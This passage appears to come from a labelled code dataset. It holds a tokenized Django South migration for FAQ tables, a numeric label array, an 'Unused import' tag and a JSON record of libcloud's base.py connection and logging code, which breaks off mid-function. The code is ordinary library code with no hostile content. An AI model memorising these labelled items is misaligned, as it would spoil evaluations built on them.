":_", "\"", "orm", "['", "sites", ".", "Site", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sort", "\\u", "order", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "\\u", "created", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "\\u", "update", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "auto", "\\u", "now", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "auto", "\\u", "now", "\\u", "add", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sites", ".", "site", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "domain", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Site", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "site", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "domain", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "faq", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Fa", "q", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "create", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "\\u", "type", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "entity", "\\u", "content", "\\u", "type", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "contenttype", "s", ".", "Conten", "t", "Type", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "site", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "site", "\\u", "owner", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "sites", ".", "Site", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "owner", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "user", "\\u", "owner", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "modifier", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "user", "\\u", "modifier", "\\u", "faq", "\\u", "faq", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "time", "\\u", "created", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "time", "\\u", "update", "d", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now_", "=_", "True_", ",_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "enable", "d", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "name", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "150_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "slug", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "150_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "faq", "'_", ",_", "[_", "'", "Fa", "q", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Fa", "q", "Cate", "gory", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "\\u", "categor", "ies", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "name", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "150_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "slug", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "150_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "sort", "\\u", "order", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ")_", "(_", "default_", "=_", "0_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "faq", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "faq", ".", "Fa", "q", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "faq", "'_", ",_", "[_", "'", "Fa", "q", "Cate", "gory", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", "ing", " ", "model", " ", "'", "Fa", "q", "Quest", "ion", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "create", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "\\u", "question", "s", "'_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "id", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ")_", "(_", "primary", "\\u", "key_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "\\u", "type", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "entity", "\\u", "content", "\\u", "type", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "contenttype", "s", ".", "Conten", "t", "Type", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "site", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "site", "\\u", "owner", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "sites", ".", "Site", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "owner", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "user", "\\u", "owner", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "modifier", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "relate", "d\\u", "name_", "=_", "'", "user", "\\u", "modifier", "\\u", "faq", "\\u", "faq", "question", "\\u", "relate", "d", "'_", ",_", "null_", "=_", "True_", ",_", "to_", "=_", "orm_", "[_", "'", "auth", ".", "User", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "time", "\\u", "created", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "time", "\\u", "update", "d", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ")_", "(_", "auto", "\\u", "now_", "=_", "True_", ",_", "auto", "\\u", "now", "\\u", "add_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "enable", "d", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ")_", "(_", "default_", "=_", "False_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "slug", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Sl", "ug", "Field", "'_", ")_", "(_", "max", "\\u", "length_", "=_", "100_", ",_", "db", "\\u", "index_", "=_", "True_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "category", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ")_", "(_", "to_", "=_", "orm_", "[_", "'", "faq", ".", "Fa", "q", "Cate", "gory", "'_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "question", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "answer", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ")_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "status", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ")_", "(_", "default_", "=_", "0_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "sort", "\\u", "order", "'_", ",_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ")_", "(_", "default_", "=_", "0_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "send", "\\u", "create", "\\u", "signal_", "(_", "'", "faq", "'_", ",_", "[_", "'", "Fa", "q", "Quest", "ion", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Fa", "q", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "delete", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Fa", "q", "Cate", "gory", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "\\u", "categor", "ies", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "model", " ", "'", "Fa", "q", "Quest", "ion", "'_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "delete", "\\u", "table_", "(_", "'", "zor", "na", "\\u", "faq", "\\u", "question", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
cloudkick/libcloud/libcloud/common/base.py
[ { "content": "# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport httplib\nimport urllib\nimport time\nimport hashlib\nimport StringIO\nimport ssl\nimport os\nimport socket\nimport struct\n\nfrom pipes import quote as pquote\n\nimport libcloud\n\nfrom libcloud.httplib_ssl import LibcloudHTTPSConnection\nfrom httplib import HTTPConnection as LibcloudHTTPConnection\n\n\n\n#TODO: Move this to a better location/package\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RawResponse(object):\n\n\n\n\n", "metadata": "root.RawResponse", "header": "['module', '___EOS___']", "index": 32 }, { "content": " def __init__(self, response=None):\n self._status = None\n self._response = None\n self._headers = {}\n self._error = None\n self._reason = None", "metadata": "root.RawResponse.__init__", "header": "['class', 'RawResponse', '(', 'object', ')', ':', '___EOS___']", "index": 34 }, { "content": " @property\n def response(self):\n if not self._response:\n self._response = self.connection.connection.getresponse()\n return self._response", "metadata": "root.RawResponse.response", "header": "['class', 'RawResponse', '(', 'object', ')', ':', '___EOS___']", "index": 41 }, { "content": " @property\n def status(self):\n if not self._status:\n self._status = self.response.status\n return self._status", "metadata": "root.RawResponse.status", "header": "['class', 'RawResponse', '(', 'object', ')', ':', '___EOS___']", "index": 47 }, { "content": " @property\n def headers(self):\n if not self._headers:\n self._headers = dict(self.response.getheaders())\n return self._headers", "metadata": "root.RawResponse.headers", "header": "['class', 'RawResponse', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " @property\n def reason(self):\n if not self._reason:\n self._reason = self.response.reason\n return self._reason", "metadata": "root.RawResponse.reason", "header": "['class', 'RawResponse', '(', 'object', ')', ':', '___EOS___']", "index": 59 }, { "content": "class Response(object):\n \"\"\"\n A Base Response class to derive from.\n \"\"\"\n NODE_STATE_MAP = {}\n\n object = None\n body = None\n status = httplib.OK\n headers = {}\n error = None\n connection = None\n\n\n\n", "metadata": "root.Response", "header": "['module', '___EOS___']", "index": 65 }, { "content": " def __init__(self, response):\n self.body = response.read()\n self.status = response.status\n self.headers = dict(response.getheaders())\n self.error = response.reason\n\n if not self.success():\n raise Exception(self.parse_error())\n\n self.object = self.parse_body()", "metadata": "root.Response.__init__", "header": "['class', 'Response', '(', 'object', ')', ':', '___EOS___']", "index": 78 }, { "content": " def parse_body(self):\n \"\"\"\n Parse response body.\n\n Override in a provider's subclass.\n\n @return: Parsed body.\n \"\"\"\n return self.body", "metadata": "root.Response.parse_body", "header": "['class', 'Response', '(', 'object', ')', ':', '___EOS___']", "index": 89 }, { "content": " def parse_error(self):\n \"\"\"\n Parse the error messages.\n\n Override in a provider's subclass.\n\n @return: Parsed error.\n \"\"\"\n return self.body", "metadata": "root.Response.parse_error", "header": "['class', 'Response', '(', 'object', ')', ':', '___EOS___']", "index": 99 }, { "content": " def success(self):\n \"\"\"\n Determine if our request was successful.\n\n The meaning of this can be arbitrary; did we receive OK status? Did\n the node get created? Were we authenticated?\n\n @return: C{True} or C{False}\n \"\"\"\n return self.status == httplib.OK or self.status == httplib.CREATED", "metadata": "root.Response.success", "header": "['class', 'Response', '(', 'object', ')', ':', '___EOS___']", "index": 109 }, { "content": "class LoggingConnection():\n \"\"\"\n Debug class to log all HTTP(s) requests as they could be made\n with the C{curl} command.\n\n @cvar log: file-like object that logs entries are written to.\n \"\"\"\n log = None\n\n", "metadata": "root.LoggingConnection", "header": "['module', '___EOS___']", "index": 121 }, { "content": " def _log_response(self, r):\n rv = \"# -------- begin %d:%d response ----------\\n\" % (id(self), id(r))\n ht = \"\"\n v = r.version\n if r.version == 10:\n v = \"HTTP/1.0\"\n if r.version == 11:\n v = \"HTTP/1.1\"\n ht += \"%s %s %s\\r\\n\" % (v, r.status, r.reason)\n body = r.read()\n for h in r.getheaders():\n ht += \"%s: %s\\r\\n\" % (h[0].title(), h[1])\n ht += \"\\r\\n\"\n # this is evil. laugh with me. ha arharhrhahahaha\n class fakesock:\n def __init__(self, s):\n self.s = s\n def makefile(self, mode, foo):\n return StringIO.StringIO(self.s)\n rr = r\n if r.chunked:\n ht += \"%x\\r\\n\" % (len(body))\n ht += body\n ht += \"\\r\\n0\\r\\n\"\n else:\n ht += body\n rr = httplib.HTTPResponse(fakesock(ht),\n method=r._method,\n debuglevel=r.debuglevel)\n rr.begin()\n rv += ht\n rv += (\"\\n# -------- end %d:%d response ----------\\n\"\n % (id(self), id(r)))\n return (rr, rv)", "metadata": "root.LoggingConnection._log_response", "header": "['class', 'LoggingConnection', '(', ')', ':', '___EOS___']", "index": 130 }, { "content": " def _log_curl(self, method, url, body, headers):\n cmd = [\"curl\", \"-i\"]\n\n cmd.extend([\"-X\", pquote(method)])\n\n for h in headers:\n cmd.extend([\"-H\", pquote(\"%s: %s\" % (h, headers[h]))])\n\n # TODO: in python 2.6, body can be a file-like object.\n if body is not None and len(body) > 0:\n cmd.extend([\"--data-binary\", pquote(body)])\n\n cmd.extend([pquote(\"https://%s:%d%s\" % (self.host, self.port, url))])\n return \" \".join(cmd)", "metadata": "root.LoggingConnection._log_curl", "header": "['class', 'LoggingConnection', '(', ')', ':', '___EOS___']", "index": 165 }, { "content": "class LoggingHTTPSConnection(LoggingConnection, LibcloudHTTPSConnection):\n \"\"\"\n Utility Class for logging HTTPS connections\n \"\"\"\n\n", "metadata": "root.LoggingHTTPSConnection", "header": "['module', '___EOS___']", "index": 180 }, { "content": " def getresponse(self):\n r = LibcloudHTTPSConnection.getresponse(self)\n if self.log is not None:\n r, rv = self._log_response(r)\n self.log.write(rv + \"\\n\")\n self.log.flush()\n return r", "metadata": "root.LoggingHTTPSConnection.getresponse", "header": "['class', 'LoggingHTTPSConnection', '(', 'LoggingConnection', ',', 'LibcloudHTTPSConnection', ')', ':', '___EOS___']", "index": 185 }, { "content": " def request(self, method, url, body=None, headers=None):\n headers.update({'X-LC-Request-ID': str(id(self))})\n if self.log is not None:\n pre = \"# -------- begin %d request ----------\\n\" % id(self)\n self.log.write(pre +\n self._log_curl(method, url, body, headers) + \"\\n\")\n self.log.flush()\n return LibcloudHTTPSConnection.request(self, method, url, body, headers)", "metadata": "root.LoggingHTTPSConnection.request", "header": "['class', 'LoggingHTTPSConnection', '(', 'LoggingConnection', ',', 'LibcloudHTTPSConnection', ')', ':', '___EOS___']", "index": 193 }, { "content": "class LoggingHTTPConnection(LoggingConnection, LibcloudHTTPConnection):\n \"\"\"\n Utility Class for logging HTTP connections\n \"\"\"\n\n", "metadata": "root.LoggingHTTPConnection", "header": "['module', '___EOS___']", "index": 202 }, { "content": " def getresponse(self):\n r = LibcloudHTTPConnection.getresponse(self)\n if self.log is not None:\n r, rv = self._log_response(r)\n self.log.write(rv + \"\\n\")\n self.log.flush()\n return r", "metadata": "root.LoggingHTTPConnection.getresponse", "header": "['class', 'LoggingHTTPConnection', '(', 'LoggingConnection', ',', 'LibcloudHTTPConnection', ')', ':', '___EOS___']", "index": 207 }, { "content": " def request(self, method, url, body=None, headers=None):\n headers.update({'X-LC-Request-ID': str(id(self))})\n if self.log is not None:\n pre = \"# -------- begin %d request ----------\\n\" % id(self)\n self.log.write(pre +\n self._log_curl(method, url, body, headers) + \"\\n\")\n self.log.flush()\n return LibcloudHTTPConnection.request(self, method, url,\n body, headers)", "metadata": "root.LoggingHTTPConnection.request", "header": "['class', 'LoggingHTTPConnection', '(', 'LoggingConnection', ',', 'LibcloudHTTPConnection', ')', ':', '___EOS___']", "index": 215 }, { "content": "class ConnectionKey(object):\n \"\"\"\n A Base Connection class to derive from.\n \"\"\"\n #conn_classes = (LoggingHTTPSConnection)\n conn_classes = (LibcloudHTTPConnection, LibcloudHTTPSConnection)\n\n responseCls = Response\n rawResponseCls = RawResponse\n connection = None\n host = '127.0.0.1'\n port = (80, 443)\n secure = 1\n driver = None\n action = None\n\n\n\n\n\n\n\n", "metadata": "root.ConnectionKey", "header": "['module', '___EOS___']", "index": 225 }, { "content": " def __init__(self, key, secure=True, host=None, force_port=None):\n \"\"\"\n Initialize `user_id` and `key`; set `secure` to an C{int} based on\n passed value.\n \"\"\"\n self.key = key\n self.secure = secure and 1 or 0\n self.ua = []\n if host:\n self.host = host\n\n if force_port:\n self.port = (force_port, force_port)", "metadata": "root.ConnectionKey.__init__", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 241 }, { "content": " def connect(self, host=None, port=None):\n \"\"\"\n Establish a connection with the API server.\n\n @type host: C{str}\n @param host: Optional host to override our default\n\n @type port: C{int}\n @param port: Optional port to override our default\n\n @returns: A connection\n \"\"\"\n host = host or self.host\n port = port or self.port[self.secure]\n\n kwargs = {'host': host, 'port': port}\n\n connection = self.conn_classes[self.secure](**kwargs)\n # You can uncoment this line, if you setup a reverse proxy server\n # which proxies to your endpoint, and lets you easily capture\n # connections in cleartext when you setup the proxy to do SSL\n # for you\n #connection = self.conn_classes[False](\"127.0.0.1\", 8080)\n\n self.connection = connection", "metadata": "root.ConnectionKey.connect", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 255 }, { "content": " def _user_agent(self):\n return 'libcloud/%s (%s)%s' % (\n libcloud.__version__,\n self.driver.name,\n \"\".join([\" (%s)\" % x for x in self.ua]))", "metadata": "root.ConnectionKey._user_agent", "header": "['class', 'ConnectionKey', '(', 'object', ')', ':', '___EOS___']", "index": 281 }, { "content": " def user_agent_append(self, token):\n 